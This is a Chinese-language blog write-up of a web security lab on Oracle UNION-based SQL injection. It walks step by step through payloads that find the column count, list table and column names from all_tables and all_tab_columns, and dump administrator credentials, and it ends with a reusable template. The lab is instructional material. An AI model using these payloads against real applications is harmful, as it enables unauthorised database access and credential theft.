Lab: SQL injection attack, listing the database contents on Oracle
看一下描述
拿到adminstrator的账号密码进行登录,已知该数据库为oracle
第一步:判断注入点
使用category=Pets' and 1=2--+,发现返回为空
第二步:判断联合查询的字段数
使用category=Pets' union select null from dual--+,判断一个列数,返回500 internal server error,所以不正确.
这里为什么要判断列数?
因为
联合查询通常使用 UNION、UNION ALL、INTERSECT、MINUS 等操作符来实现。联合查询的条件如下:
- 使用 UNION 联合查询的各条 SQL 语句查询出的列数必须相同。
- 这若干个 SELECT 子句输出的列数必须是相等的。
- 这若干个 SELECT 子句输出列的数据类型至少是兼容的。
- 所有使用 UNION 运算符组合查询的结果集,需要满足以下条件:
- 所有 SELECT 语句中出现的列的数量和顺序必须相同。
- 列的数据类型必须相同或可转换。
例如:select uid, name, age from user union select id, name, sex from tmp;
在此示例中,两个查询语句的列数相同,且列的数据类型满足要求。
这里为什么使用select null from dual?
因为
dual
是 Oracle 中的伪表,只有一个字段DUMMY
和一行记录X
。其目的是为了满足语法上的需求,使得最基本的操作也能满足语法的完整性。null
是一个常量,表示空。在 Oracle 的SELECT
语法限制下,当没有实际的表名进行查询时,使用dual
表来占位,使得语法完整。例如,select null
语法不完整,而select null from dual
语法完整。
使用category=Pets' union select null,null from dual--+,判断两个列数,返回200 正常显示,所以
第三步:查表名
首先得知道oracle数据库查询表名的语法
SELECT * FROM all_table |
这一句是要查询所有信息从all_table,我们不需要那么多,我们只需要表名即可(可以浏览器直接搜索all_tables+oracle就可以查到all_tables的相关描述了,看看有什么字段),找到了一个存放所有表名的字段,也就是下面的table_name
使用
category=Pets' union select '1',table_name from all_tables--+查出该数据库的所有表名
这个USERS_SANKYF可能会存有账号密码
第四步:查USERS_SANKYF下的字段名
先查一下语法
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
补充:
在 Oracle 数据库中,`SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`的意思是从 `all_tab_columns` 数据字典视图中查询表名为 `TABLE-NAME-HERE` 的所有列的信息。`all_tab_columns` 是 Oracle 数据库的一个数据字典视图,用于提供关于数据库中所有可见表的列信息,对于数据库管理、开发和调试非常有用。
显然大致符合我们的需求,只需要找到一个存放所有字段名的字段
使用谷歌搜索一下all_tab_columns+oracle的相关字段,找到一个
COLUMN_NAME
将SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'与
COLUMN_NAME、USERS_SANKYF进行拼接
使其成为合适的注入语句
category=Gifts' union select null,column_name from all_tab_columns where table_name='USERS_SANKYF'--
第五步:查找admin的账号密码
上一步查出USERS_SANKYF表的两个字段
PASSWORD_BGZIRU |
USERNAME_WDEHKU |
使用category=Gifts' union select USERNAME_WDEHKU,PASSWORD_BGZIRU from USERS_SANKYF--
成功找到administrator的账号密码,最后进行登录。
完成!
总结:
第一步:判断注入点
第二步:判断联合查询的字段数
可以使用pets' order by+数字--,也可以像我一样使用union select null,null from dual--(标红的很重要,只有这样才能查询成功,不然会报错,具体原因上边也说了)
第三步:查可能存在账号密码的所有表名
需要知道oracle的相关语法,union select unll,table_name from all_tables--
第四步:利用查出的表名查出该表的所有字段名,寻找账号密码的相关字段
union select unll,column_name from all_tab_columns where table_name='上一步查出来的表名'--
第五步:确定好账号密码的字段和所在表,就可以直接进行查找了
category=Gifts' union select 账号字段,密码字段 from 目标表名--
标红的就是oracle型的sql注入所要了解的的表名和字段名,查所有表名应该怎么查,查所有字段名应该怎么查。
OK结束了。
标签:name,union,SQL,---,bp,表名,table,null,select From: https://blog.csdn.net/m0_72471814/article/details/145057967